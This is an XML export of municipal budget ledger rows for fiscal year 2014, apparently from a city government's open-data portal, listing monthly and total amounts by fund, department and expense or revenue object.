<row _id="19"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1289255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1289255.0</total></row>
<row _id="20"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2437.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>158.33</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2595.33</total></row>
<row _id="21"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24674.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24674.0</total></row>
<row _id="22"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33205.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33205.0</total></row>
<row _id="23"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="24"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-159075.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-159075.0</total></row>
<row _id="25"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405590.0</object><object_description>CABLE FRANCHISE FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1087849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1087849.0</total></row>
<row _id="26"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4600.0</total></row>
<row _id="27"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579004.0</object><object_description>DISCRET-COMM CAREER DEVE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>92688.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92688.0</total></row>
<row _id="28"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579006.0</object><object_description>DISCRET-SM FESTIVAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="29"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555399.0</object><object_description>13 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>47000.0</june><total>47000.0</total></row>
<row _id="30"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406855.0</object><object_description>OTS STEP GRANT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-73140.95</june><total>-73140.95</total></row>
<row _id="31"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402930.0</object><object_description>UNIT DWELLING TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="32"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-31000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31000.0</total></row>
<row _id="33"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="34"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410260.0</object><object_description>4TH COURT IMPROVEMENT CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-210000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-210000.0</total></row>
<row _id="35"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="36"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37500.0</total></row>
<row _id="37"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="38"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>446690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>446690.0</total></row>
<row _id="39"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1285.0</total></row>
<row _id="40"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>403921.0</object><object_description>TEA 21 CAL INCLINE CONSTRUCTIO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-2802552.0</july><august>0</august><september>0.0</september><october>0.0</october><november>560511</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2242041.0</total></row>
<row _id="41"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404420.0</object><object_description>5TH AND ARIZONA PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>-80000.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-480000.0</total></row>
<row _id="42"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410220.0</object><object_description>DOWNTOWN ADVERTISING REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>-325326.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-325326.0</total></row>
<row _id="43"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563161.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>112052.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112052.0</total></row>
<row _id="44"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>405170.0</object><object_description>CAM FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-422264.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-422264.0</total></row>
<row _id="45"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555061.0</object><object_description>PROF SVCS - LUCE MONITORING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>325000.0</total></row>
<row _id="46"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="47"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20421.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20421.0</total></row>
<row _id="48"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>114671.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>210</december><january>-1077.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>113804.0</total></row>
<row _id="49"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>53756.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>1253</december><january>-382.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>54627.0</total></row>
<row _id="50"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26500.0</total></row>
<row _id="51"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2104443.0</july><august>0</august><september>0.0</september><october>0.0</october><november>-1146778</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>957665.0</total></row>
<row _id="52"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>404587.0</july><august>0</august><september>0.0</september><october>0.0</october><november>-181534</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>223053.0</total></row>
<row _id="53"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>-525</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>525.0</total></row>
<row _id="54"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>30000</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="55"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511498.0</object><object_description>OT PARAMEDIC SCHOOL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>439218.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>439218.0</total></row>
<row _id="56"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="57"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555320.0</object><object_description>ANIMAL SHELTER SUPPORT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>110918.84</june><total>110918.84</total></row>
<row _id="58"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="59"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>569101.0</object><object_description>STRATEGIC PREVENTION FRAME- ST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>48000</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>9600.0</june><total>57600.0</total></row>
<row _id="60"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>403751.0</object><object_description>BULLETPROOF VEST GRANT - 2014</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-30152.0</march><april>0</april><may>0</may><june>0.0</june><total>-30152.0</total></row>
<row _id="61"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>5000</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="62"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>5994</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5994.0</total></row>
<row _id="63"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>480000</november><december>0</december><january>-480000.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="64"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>2296225.0</june><total>2296225.0</total></row>
<row _id="65"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-103983</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-103983.0</total></row>
